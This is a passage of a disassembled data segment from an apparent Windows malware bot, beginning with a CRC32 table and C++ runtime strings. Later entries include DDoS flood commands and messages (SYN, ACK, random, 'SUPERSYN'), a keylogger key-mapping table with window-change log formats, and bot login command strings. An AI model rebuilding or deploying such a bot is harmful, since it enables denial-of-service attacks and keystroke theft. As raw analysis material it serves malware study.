21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_433C6Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_433C68o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_435EBCo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_4362FCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_436A1Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 436A1Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_436A34 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_436A34 dd offset dword_424DB0+4 off_424DD8 dd offset off_436A54 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_436A54 dd offset dword_424DFC+4 off_424E24 dd offset off_436A74 ; DATA XREF: ___:00424E3Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E24 dd offset off_424D90 dd offset dword_424D60+18h dword_424E48 dd 3 dup(0) ; DATA XREF: ___:00424E6Co dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo dd offset off_436A74 dd offset dword_424E48+4 off_424E70 dd offset off_436A98 ; DATA XREF: ___:00424E88o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E70 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_436A98 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_436A1C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_436A1C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_436A34 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_436A54 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o dd offset off_436A74 align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(78150BB0h), 5 dup(13D3551Ch), 5 dup(7E50A2AFh) dd 7Ah dup(0) dd 7E50A2AFh, 0 dd 78150BB0h, 12h dup(0) dd 13D3551Ch, 319h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 